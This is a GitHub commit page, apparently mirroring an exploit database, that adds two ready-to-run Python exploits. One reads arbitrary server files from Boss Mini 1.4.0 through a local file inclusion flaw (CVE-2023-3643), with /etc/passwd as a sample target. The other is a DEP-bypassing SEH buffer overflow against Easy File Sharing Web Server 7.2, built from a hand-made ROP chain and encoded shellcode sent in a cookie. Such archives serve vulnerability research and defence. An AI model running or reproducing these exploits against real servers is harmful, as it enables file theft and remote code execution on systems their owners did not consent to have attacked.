Skip to content

Commit 762d080

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 3583c23 + a0b1c92 commit 762d080

6 files changed

Lines changed: 1065 additions & 0 deletions

File tree

exploits/multiple/webapps/52482.py

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Exploit Title: Boss Mini v1.4.0 - Local File Inclusion (LFI)
2+
# Date: 07/12/2023
3+
# Exploit Author: nltt0
4+
# Version: 1.4.0 (Build 6221)
5+
# CVE: CVE-2023-3643
6+
7+
from requests import post
8+
from urllib.parse import quote
9+
from argparse import ArgumentParser
10+
11+
banner = r"""
12+
_____ _ _____
13+
/ __ \ | | / ___|
14+
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
15+
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
16+
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
17+
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
18+
__/ |
19+
|___/
20+
21+
by nltt0 [https://github.com/nltt-br]
22+
23+
"""
24+
25+
print(banner)
26+
27+
try:
28+
parser = ArgumentParser(description='Local file inclusion [Boss Mini]')
29+
parser.add_argument('--domain', required=True, help='Application domain')
30+
parser.add_argument('--file', required=True, help='Local file')
31+
32+
args = parser.parse_args()
33+
host = args.domain
34+
file = args.file
35+
url = '{}/boss/servlet/document'.format(host)
36+
file2 = quote(file, safe='')
37+
38+
headers = {
39+
'Host': host,
40+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
41+
'Content-Type': 'application/x-www-form-urlencoded',
42+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',
43+
'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)
44+
}
45+
46+
47+
data = {
48+
'path': file2
49+
}
50+
51+
try:
52+
req = post(url, headers=headers, data=data, verify=False)
53+
if req.status_code == 200:
54+
print(req.text)
55+
56+
except Exception as e:
57+
print('Error in {}'.format(e))
58+
59+
60+
except Exception as e:
61+
print('Error in {}'.format(e))

exploits/multiple/webapps/52484.py

Lines changed: 263 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,263 @@
1+
# Exploit title: Easy File Sharing Web Server v7.2 - Buffer Overflow
2+
# Date: 16/10/2025
3+
# Exploit Author: Donwor
4+
# X: @real_Donwor
5+
# Discord: Donwor
6+
# Website: https://github.com/D0nw0r
7+
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
8+
# Version: Easy File Sharing Web Server v7.2
9+
# Tested on: Windows 10,11
10+
#
11+
# Notes:
12+
# - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it can help others.
13+
# - The ROP chain was VERY challenging to build, mainly because there were a lot of limimitations when moving data between for example EAX and ESI
14+
# - based on DEP SEH buffer overflow exploit by Knaps (https://www.exploit-db.com/exploits/38829/)
15+
# - bad chars: '\x00' and '\x3b'
16+
17+
18+
19+
import struct, sys, socket
20+
21+
22+
host = sys.argv[1]
23+
port = 80
24+
size = 5000
25+
26+
27+
rop = struct.pack("<I", 0x1001ba81) # # MOV EAX,EBP # POP EDI # POP ESI # POP EBP # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
28+
rop += struct.pack("<I", 0x41414141) # junk for pop edi
29+
rop += struct.pack("<I", 0x41414141) # junk for pop edi
30+
rop += struct.pack("<I", 0x41414141) # junk for ebp
31+
rop += struct.pack("<I", 0x1001db66) # : # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
32+
rop += struct.pack("<I", 0xffffeff8) # pop esi to align eax, will point after the hybjks
33+
rop += struct.pack("<I", 0x10022f45) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
34+
rop += struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
35+
rop += struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
36+
rop += struct.pack("<L", 0x61c0a798) # XCHG EAX,EDI # RETN )
37+
rop += struct.pack("<L", 0x1001d626) # : # XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
38+
rop += struct.pack("<L", 0x10021a3e) # (RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
39+
## Save ESP on ESI and EDI
40+
41+
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
42+
rop += struct.pack("<L", 0x1004D1FC) # VirtualAlloc Addr on IAT
43+
rop += struct.pack("<L", 0x1002248c) # deref VirtualAlloc : # MOV EAX,DWORD PTR [EAX] # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
44+
rop += struct.pack("<L", 0x1001a8e3) # put virtualalloc addr on stack # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
45+
rop += struct.pack("<L", 0x41414141) # junk pop esi
46+
rop += struct.pack("<L", 0x41414141) # junk pop ebx
47+
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
48+
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi(RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
49+
rop += struct.pack("<L", 0x1001715d) # increase esi to point 4 bytes more (next arg) (RVA : 0x0001715d) : # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
50+
rop += struct.pack("<L", 0x1001715d) #
51+
rop += struct.pack("<L", 0x1001715d) #
52+
rop += struct.pack("<L", 0x1001715d) #
53+
# Virtual Alloc on stack
54+
# Esi now has "SRP" we need to fill it
55+
# EDI still points to orignal one (Virtual alloc)
56+
57+
58+
rop += struct.pack("<L", 0x1001f595) # Put SRP addr on eax MOV EAX,ESI # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
59+
rop += struct.pack("<L", 0x41414141) # junk pop esi
60+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
61+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
62+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
63+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
64+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
65+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
66+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
67+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
68+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
69+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
70+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
71+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
72+
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
73+
rop += struct.pack("<L", 0x10019457) # eax now points to x more (can be changed)
74+
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
75+
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
76+
rop += struct.pack("<L", 0x1001e80b) # This immedeately patches SRP and VirtualAlloc 1st arg! MOV DWORD PTR [ESI+8],EAX # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
77+
rop += struct.pack("<L", 0x41414141) # junk pop esi
78+
79+
# Virtual alloc | SRP | Shellcode Addr
80+
# edi -> virtualalloc
81+
82+
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
83+
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
84+
rop += struct.pack("<L", 0x1001715d) # increase esi to point 12 bytes more (->dwsize) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
85+
rop += struct.pack("<L", 0x1001715d) #
86+
rop += struct.pack("<L", 0x1001715d) #
87+
rop += struct.pack("<L", 0x1001715d) #
88+
rop += struct.pack("<L", 0x1001715d) #
89+
rop += struct.pack("<L", 0x1001715d) #
90+
rop += struct.pack("<L", 0x1001715d) #
91+
rop += struct.pack("<L", 0x1001715d) #
92+
rop += struct.pack("<L", 0x1001715d) #
93+
rop += struct.pack("<L", 0x1001715d) #
94+
rop += struct.pack("<L", 0x1001715d) #
95+
rop += struct.pack("<L", 0x1001715d) #
96+
rop += struct.pack("<L", 0x1001c15d) # XOR EAX,EAX # RETN) #
97+
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
98+
rop += struct.pack("<L", 0xffffffff) # -1
99+
rop += struct.pack("<L", 0x100231d1) # will turn eax into 1, second arg of virtualalloc NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) #
100+
rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
101+
rop += struct.pack("<L", 0x41414141) # junk pop esi
102+
rop += struct.pack("<L", 0x41414141) # junk pop ebx
103+
104+
#VirtualAlloc | SRP | ShellcodeAddr | dwSize
105+
# edi -> virtualalloc
106+
107+
108+
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
109+
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
110+
rop += struct.pack("<L", 0x1001715d) # increase esi to point 16 bytes more (->flAllocation Type) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
111+
rop += struct.pack("<L", 0x1001715d) #
112+
rop += struct.pack("<L", 0x1001715d) #
113+
rop += struct.pack("<L", 0x1001715d) #
114+
rop += struct.pack("<L", 0x1001715d) #
115+
rop += struct.pack("<L", 0x1001715d) #
116+
rop += struct.pack("<L", 0x1001715d) #
117+
rop += struct.pack("<L", 0x1001715d) #
118+
rop += struct.pack("<L", 0x1001715d) #
119+
rop += struct.pack("<L", 0x1001715d) #
120+
rop += struct.pack("<L", 0x1001715d) #
121+
rop += struct.pack("<L", 0x1001715d) #
122+
rop += struct.pack("<L", 0x1001715d) #
123+
rop += struct.pack("<L", 0x1001715d) #
124+
rop += struct.pack("<L", 0x1001715d) #
125+
rop += struct.pack("<L", 0x1001715d) #
126+
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
127+
rop += struct.pack("<I", 0xffffefff) # value to pop eax now
128+
rop += struct.pack("<L", 0x100231d1) # will turn eax into 1002 NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) #
129+
rop += struct.pack("<I", 0x1001b7ca)# eax now 1000 # DEC EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
130+
rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
131+
rop += struct.pack("<L", 0x41414141) # junk pop esi
132+
rop += struct.pack("<L", 0x41414141) # junk pop ebx
133+
134+
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType
135+
# edi -> virtualalloc
136+
137+
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
138+
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
139+
rop += struct.pack("<L", 0x1001715d) # increase esi to point 20 bytes more (->flProtect Type) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
140+
rop += struct.pack("<L", 0x1001715d) #
141+
rop += struct.pack("<L", 0x1001715d) #
142+
rop += struct.pack("<L", 0x1001715d) #
143+
rop += struct.pack("<L", 0x1001715d) #
144+
rop += struct.pack("<L", 0x1001715d) #
145+
rop += struct.pack("<L", 0x1001715d) #
146+
rop += struct.pack("<L", 0x1001715d) #
147+
rop += struct.pack("<L", 0x1001715d) #
148+
rop += struct.pack("<L", 0x1001715d) #
149+
rop += struct.pack("<L", 0x1001715d) #
150+
rop += struct.pack("<L", 0x1001715d) #
151+
rop += struct.pack("<L", 0x1001715d) #
152+
rop += struct.pack("<L", 0x1001715d) #
153+
rop += struct.pack("<L", 0x1001715d) #
154+
rop += struct.pack("<L", 0x1001715d) #
155+
rop += struct.pack("<L", 0x1001715d) #
156+
rop += struct.pack("<L", 0x1001715d) #
157+
rop += struct.pack("<L", 0x1001715d) #
158+
rop += struct.pack("<L", 0x1001715d) #
159+
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
160+
rop += struct.pack("<I", 0xffffffbf) # : -41
161+
rop += struct.pack("<L", 0x100231d1) # will turn eax into 41 NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) #
162+
rop += struct.pack("<I", 0x1001b7ca)# eax now 40 # DEC EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
163+
rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
164+
rop += struct.pack("<L", 0x41414141) # junk pop esi
165+
rop += struct.pack("<L", 0x41414141) # junk pop ebx
166+
167+
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType | flProtect
168+
# edi -> virtualalloc
169+
170+
171+
rop += struct.pack("<L", 0x61c0a798) # # XCHG EAX,EDI # RETN
172+
rop += struct.pack("<L", 0x61c07ff8) # XCHG EAX,ESP # RETN
173+
174+
# Just switch execution now, move the stack pointer to EDI (VirtualAlloc)
175+
176+
177+
sc = b""
178+
sc += b"\x81\xc4\x24\xfa\xff\xff" # add esp , -1500
179+
sc += b"\xbd\x04\xae\x2a\x98\xdb\xce\xd9\x74\x24\xf4\x5b"
180+
sc += b"\x31\xc9\xb1\x5e\x83\xeb\xfc\x31\x6b\x11\x03\x6b"
181+
sc += b"\x11\xe2\xf1\x52\xc2\x17\xf9\xaa\x13\x48\xc8\x78"
182+
sc += b"\x9a\x6d\x4e\xf6\xcf\x5d\x05\x5a\xfc\x16\x4b\x4f"
183+
sc += b"\x77\x5a\x43\x60\x30\xd1\xb5\x4f\xc1\xd7\x79\x03"
184+
sc += b"\x01\x79\x05\x5e\x56\x59\x34\x91\xab\x98\x71\x67"
185+
sc += b"\xc1\x75\x2f\xf3\x7b\x9a\x44\x41\x40\xcd\x5b\x96"
186+
sc += b"\x33\xb1\x23\x93\x84\x46\x9f\x9a\xd4\xf7\x94\xc5"
187+
sc += b"\xf4\x7c\xe2\xed\xf5\x51\x77\xc4\x82\x69\x3e\xe6"
188+
sc += b"\x95\x19\xf4\x83\x6b\xc8\xc5\x53\xc7\x35\xea\x59"
189+
sc += b"\x19\x71\xcc\x81\x6c\x89\x2f\x3f\x77\x4a\x52\x9b"
190+
sc += b"\xf2\x4d\xf4\x68\xa4\xa9\x05\xbc\x33\x39\x09\x09"
191+
sc += b"\x37\x65\x0d\x8c\x94\x1d\x29\x05\x1b\xf2\xb8\x5d"
192+
sc += b"\x38\xd6\xe1\x06\x21\x4f\x4f\xe8\x5e\x8f\x37\x55"
193+
sc += b"\xfb\xdb\xd5\x80\x7b\x24\x26\xad\x21\xb3\xeb\x60"
194+
sc += b"\xda\x43\x63\xf2\xa9\x71\x2c\xa8\x25\x3a\xa5\x76"
195+
sc += b"\xb1\x4b\xa1\x88\x6d\xf3\xa1\x76\x8e\x04\xe8\xbc"
196+
sc += b"\xda\x54\x82\x15\x63\x3f\x52\x99\xb6\xaa\x58\x0d"
197+
sc += b"\xf9\x83\x64\xc7\x91\xd1\x94\xd6\xda\x5f\x72\x88"
198+
sc += b"\x4c\x30\x2a\x69\x3d\xf0\x9a\x01\x57\xff\xc5\x32"
199+
sc += b"\x58\xd5\x6e\xd8\xb7\x80\xc7\x75\x21\x89\x93\xe4"
200+
sc += b"\xae\x07\xde\x27\x24\xa2\x1f\xe9\xcd\xc7\x33\x1e"
201+
sc += b"\xaa\x27\xcb\xdf\x5f\x28\xa1\xdb\xc9\x7f\x5d\xe6"
202+
sc += b"\x2c\xb7\xc2\x19\x1b\xcb\x04\xe5\xda\xfa\x7f\xd0"
203+
sc += b"\x48\x43\x17\x1d\x9d\x43\xe7\x4b\xf7\x43\x8f\x2b"
204+
sc += b"\xa3\x17\xaa\x33\x7e\x04\x67\xa6\x81\x7d\xd4\x61"
205+
sc += b"\xea\x83\x03\x45\xb5\x7c\x66\xd5\xb2\x83\xf5\xf2"
206+
sc += b"\x1a\xec\x05\x43\x9b\xec\x6f\x43\xcb\x84\x64\x6c"
207+
sc += b"\xe4\x64\x85\xa7\xad\xec\x0c\x26\x1f\x8c\x11\x63"
208+
sc += b"\xc1\x10\x12\x80\xda\xa3\x69\xe9\xdd\x43\x8e\xe3"
209+
sc += b"\xb9\x43\x8f\x0b\xbc\x78\x46\x32\xca\xbf\x5b\x01"
210+
sc += b"\xd5\x5d\x71\x7c\x7e\xf8\x10\x3d\xe3\xfb\xcf\x02"
211+
sc += b"\x1a\x78\xe5\xfa\xd9\x60\x8c\xff\xa6\x26\x7d\x72"
212+
sc += b"\xb6\xc2\x81\x21\xb7\xc6"
213+
214+
215+
padding = b"\x45" * 4 # 4 bytes of padding because of the alignment, the add eax,20 instructions will make it so stack points 4 bytes after
216+
rop += padding
217+
rop += sc
218+
rop += b"\x42" * (1244 - len(rop))
219+
220+
221+
nseh = struct.pack("<I", 0x43434343)
222+
seh = struct.pack("<I", 0x10022877) # add esp, 1004; ret
223+
eax_offset = 4183
224+
225+
buf = b"A" * 2811 # rop chain start after add esp 1004
226+
buf += rop
227+
buf += b"A" * (4059 - len(buf)) #nseh
228+
buf += nseh + seh
229+
buf += b"A" * (eax_offset - len(buf))
230+
buf += struct.pack("<I", 0xffffffff) #" #make sure eax always trigger exception
231+
buf += b"A" * (size - len(buf))
232+
233+
234+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
235+
s.connect((host ,port))
236+
237+
httpreq = (
238+
b"GET /changeuser.ghp HTTP/1.1\r\n"
239+
b"User-Agent: Mozilla/4.0\r\n"
240+
b"Host:" + host.encode() + b":" + str(port).encode() + b"\r\n"
241+
b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
242+
b"Accept-Language: en-us\r\n"
243+
b"Accept-Encoding: gzip, deflate\r\n"
244+
b"Referer: http://" + host.encode() + b"/\r\n"
245+
b"Cookie: SESSIONID=6771; UserID=" + buf + b"; PassWD=;\r\n"
246+
b"Conection: Keep-Alive\r\n\r\n"
247+
)
248+
249+
# Send payload to the server
250+
try:
251+
if len(sys.argv) < 2:
252+
print("[!] Usage: python3 exploit.py <IP of Server>")
253+
sys.exit(1)
254+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
255+
s.connect((host, port))
256+
s.send(httpreq)
257+
s.close()
258+
print("[+] Packet sent!")
259+
except:
260+
print("[!] Could not connect to server / Exploit failed")
261+
sys.exit(1)
262+
263+
sys.exit(0)

0 commit comments

Comments
 (0)